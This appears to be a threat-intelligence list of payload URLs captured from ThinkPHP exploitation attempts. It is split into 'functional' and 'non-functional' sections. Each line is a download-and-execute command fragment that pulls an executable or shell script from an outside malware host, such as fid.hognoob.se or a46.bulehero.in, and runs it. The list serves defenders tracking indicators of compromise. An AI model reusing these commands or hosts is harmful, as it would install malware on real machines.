Recent ThinkPHP exploit payload URLs

# Functional payload URLs for ThinkPHP exploits detected
http://82.212.70.218/a_thk.sh -O /tmp/a; chmod 0777 /tmp/a; /tmp/a;
http://86.105.49.215/a.sh -O /tmp/a; chmod 0777 /tmp/a; /tmp/a;
http://fid.hognoob.se/download.exe','C:/Windows/temp/aeanqfnpfvxzrkv26348.exe');start C:/Windows/temp/aeanqfnpfvxzrkv26348.exe
http://fid.hognoob.se/download.exe','C:/Windows/temp/gmfdsduurcahbsh17282.exe');start C:/Windows/temp/gmfdsduurcahbsh17282.exe
http://fid.hognoob.se/download.exe','C:/Windows/temp/gqxkmimhtxtvrnj13781.exe');start C:/Windows/temp/gqxkmimhtxtvrnj13781.exe
http://fid.hognoob.se/download.exe','C:/Windows/temp/hdxgzsldxrjtxch17953.exe');start C:/Windows/temp/hdxgzsldxrjtxch17953.exe
http://fid.hognoob.se/download.exe','C:/Windows/temp/iiqpccjjmjjpoux8275.exe');start C:/Windows/temp/iiqpccjjmjjpoux8275.exe
http://fid.hognoob.se/download.exe','C:/Windows/temp/jrrojigvihebyol17813.exe');start C:/Windows/temp/jrrojigvihebyol17813.exe
http://fid.hognoob.se/download.exe','C:/Windows/temp/kuqsghgrmkcsxnm21951.exe');start C:/Windows/temp/kuqsghgrmkcsxnm21951.exe
http://fid.hognoob.se/download.exe','C:/Windows/temp/lcnetkdntjwmjay7449.exe');start C:/Windows/temp/lcnetkdntjwmjay7449.exe
http://fid.hognoob.se/download.exe','C:/Windows/temp/lgaxyggezatjfsb11135.exe');start C:/Windows/temp/lgaxyggezatjfsb11135.exe
http://fid.hognoob.se/download.exe','C:/Windows/temp/lznqcoanzlxihhf1788.exe');start C:/Windows/temp/lznqcoanzlxihhf1788.exe
http://fid.hognoob.se/download.exe','C:/Windows/temp/mppnlkwacozkwvg23106.exe');start C:/Windows/temp/mppnlkwacozkwvg23106.exe
http://fid.hognoob.se/download.exe','C:/Windows/temp/npkokqlyyrlyfmz30714.exe');start C:/Windows/temp/npkokqlyyrlyfmz30714.exe
http://fid.hognoob.se/download.exe','C:/Windows/temp/qfutrylkndixdti26488.exe');start C:/Windows/temp/qfutrylkndixdti26488.exe
http://fid.hognoob.se/download.exe','C:/Windows/temp/raatxiklntxqphv6333.exe');start C:/Windows/temp/raatxiklntxqphv6333.exe
http://fid.hognoob.se/download.exe','C:/Windows/temp/rrzhwyrfxcbmkvt29580.exe');start C:/Windows/temp/rrzhwyrfxcbmkvt29580.exe
http://fid.hognoob.se/download.exe','C:/Windows/temp/rxezoavvrkhbyoy8592.exe');start C:/Windows/temp/rxezoavvrkhbyoy8592.exe
http://fid.hognoob.se/download.exe','C:/Windows/temp/stuxlmcffcskxkn735.exe');start C:/Windows/temp/stuxlmcffcskxkn735.exe
http://fid.hognoob.se/download.exe','C:/Windows/temp/tppbstrpcbalxvh31008.exe');start C:/Windows/temp/tppbstrpcbalxvh31008.exe
http://fid.hognoob.se/download.exe','C:/Windows/temp/vsrkyociqmlapkr11461.exe');start C:/Windows/temp/vsrkyociqmlapkr11461.exe
http://fid.hognoob.se/download.exe','C:/Windows/temp/vycbhgxpztfdiif10360.exe');start C:/Windows/temp/vycbhgxpztfdiif10360.exe
http://fid.hognoob.se/download.exe','C:/Windows/temp/wbqgksmvhubjyvp19072.exe');start C:/Windows/temp/wbqgksmvhubjyvp19072.exe
http://fid.hognoob.se/download.exe','C:/Windows/temp/xsutfrdnmlonkjt15003.exe');start C:/Windows/temp/xsutfrdnmlonkjt15003.exe
http://a46.bulehero.in/download.exe','C:/11.exe');start C:/11.exe
http://a46.bulehero.in/download.exe','C:/13.exe');start C:/13.exe
http://a46.bulehero.in/download.exe','C:/15.exe');start C:/15.exe
http://a46.bulehero.in/download.exe','C:/6.exe');start C:/6.exe
http://a46.bulehero.in/download.exe','C:/9.exe');start C:/9.exe

# Non-functional payload URLs
http://fuckyou.com/fuckyou.exe','C:/7.exe');start C:/7.exe
http://fuckyou.com/fuckyou.exe','C:/8.exe');start C:/8.exe
http://fffffff.ff/download.exe','C:/5.exe');start C:/5.exe
http://fffffff.ff/download.exe','C:/8.exe');start C:/8.exe